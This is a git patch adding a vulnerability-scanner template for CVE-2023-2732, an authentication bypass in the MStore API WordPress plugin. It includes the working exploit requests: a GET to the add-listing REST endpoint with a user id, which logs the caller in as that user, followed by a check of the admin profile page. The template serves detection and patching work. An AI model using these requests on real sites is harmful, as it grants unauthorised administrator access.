From b65534983fa949f94915c4c626a4af651ce77dbe Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Fri, 26 May 2023 12:05:31 +0530 Subject: [PATCH] Create CVE-2023-2732.yaml [MStore API <= 3.9.2 - Authentication Bypass] --- http/cves/2023/CVE-2023-2732.yaml | 47 +++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 http/cves/2023/CVE-2023-2732.yaml diff --git a/http/cves/2023/CVE-2023-2732.yaml b/http/cves/2023/CVE-2023-2732.yaml new file mode 100644 index 0000000000..e23059a369 --- /dev/null +++ b/http/cves/2023/CVE-2023-2732.yaml @@ -0,0 +1,47 @@ +id: CVE-2023-2732 + +info: + name: MStore API <= 3.9.2 - Authentication Bypass + author: DhiyaneshDK + severity: critical + description: | + The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.2. This is due to insufficient verification on the user being supplied during the add listing REST API request through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id. + reference: + - https://www.wordfence.com/threat-intel/vulnerabilities/id/f00761a7-fe24-49a3-b3e3-a471e05815c1?source=cve + - https://github.com/RandomRobbieBF/CVE-2023-2732 + - https://wordpress.org/plugins/mstore-api/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2023-2732 + cwe-id: CWE-288 + metadata: + max-request: 2 + verified: "true" + tags: wpscan,cve2023,wordpress,wp-plugin,auth-bypass + +requests: + - raw: + - | + GET /wp-json/wp/v2/add-listing?id=1 HTTP/2 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + - | + GET /wp-admin/profile.php HTTP/2 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body_2 + words: + - 'email-description' + - 'Username' + condition: and + + - type: status + status: + - 200